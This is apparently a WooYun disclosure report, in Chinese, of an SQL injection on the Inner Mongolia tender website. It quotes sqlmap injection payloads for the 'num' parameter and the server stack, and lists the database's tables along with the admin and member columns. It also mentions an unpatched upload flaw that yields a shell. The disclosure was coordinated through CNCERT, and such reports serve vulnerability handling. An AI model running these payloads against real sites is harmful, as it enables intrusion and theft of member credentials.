当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156462

漏洞标题:内蒙古招标网SQL注入漏洞

相关厂商:内蒙古招标网

漏洞作者: BlackWolf

提交时间:2015-11-28 22:36

修复时间:2016-01-16 17:42

公开时间:2016-01-16 17:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-28: 细节已通知厂商并且等待厂商处理中
2015-12-02: 厂商已经确认,细节仅向厂商公开
2015-12-12: 细节向核心白帽子及相关领域专家公开
2015-12-22: 细节向普通白帽子公开
2016-01-01: 细节向实习白帽子公开
2016-01-16: 细节向公众公开

简要描述:

内蒙古招标网存在SQL注入漏洞,可获得5000会员信息,后来发现有任意文件上传漏洞getshell,之前有白帽提交过了,现在还没修复(看最后一张图)也是醉了……

详细说明:

http://**.**.**.**/gsgk.php?num=1
Parameter: num (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: num=-2835 OR 4279=4279#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clau
se
Payload: num=1 AND (SELECT 5152 FROM(SELECT COUNT(*),CONCAT(0x7170627871,(SELE
CT (ELT(5152=5152,1))),0x71766b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHA
RACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: num=1 OR SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: num=1 UNION ALL SELECT NULL,CONCAT(0x7170627871,0x624469725a53526d577
34f536d68536b4a766863574274474f6c765a646b4946487970594e56756d,0x71766b7871)--
---
[20:43:47] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: PHP 5.2.10, Apache 2.2.3
back-end DBMS: MySQL 5.0

漏洞证明:

Database: nmgzb
[51 tables]
+--------------+
| ad |
| adclass |
| admini |
| bsxz |
| bsxzitem |
| city |
| gmbs |
| gmbsitem |
| gsgk |
| gsgkitem |
| gsyj |
| gsyjitem |
| gszz |
| gszzitem |
| hd |
| hdclass |
| hitem |
| hyzb |
| hyzbitem |
| job |
| ly_gbconfig |
| ly_guestbook |
| member |
| onepage |
| orderss |
| qyml |
| qywh |
| qywhitem |
| rlzyitem |
| seejob |
| xmxxk |
| xmxxkitem |
| xwzx |
| xwzxitem |
| ygpx |
| yjzs |
| yjzsitem |
| yqlj |
| ysfw |
| ysfwitem |
| ywzn |
| ywznitem |
| zbgg |
| zbggitem |
| zbjg |
| zbjgitem |
| zcfg |
| zcfgitem |
| zjk |
| zjkitem |
| zyjsslitem |
+--------------+
Database: nmgzb
Table: admini
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| aid | int(11) |
| password | varchar(50) |
| username | varchar(50) |
+----------+-------------+
Database: nmgzb
Table: member
[18 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| names | varchar(50) |
| user | varchar(50) |
| addr | varchar(200) |
| addtime | datetime |
| codes | varchar(20) |
| email | varchar(200) |
| fax | varchar(50) |
| mid | int(11) |
| pass | varchar(50) |
| person | varchar(50) |
| power | int(11) |
| question | text |
| sex | varchar(20) |
| status | int(11) |
| tel | varchar(50) |
| units | varchar(200) |
| works | text |
| yuanyin | text |
+----------+--------------+


1.jpg

4.jpg


3.jpg

修复方案:

过滤,
增加安全意识吧!!

版权声明:转载请注明来源 BlackWolf@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-02 17:41

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给内蒙古分中心,由内蒙古分中心后续协调网站管理单位处置

最新状态:

暂无


漏洞评价:

评价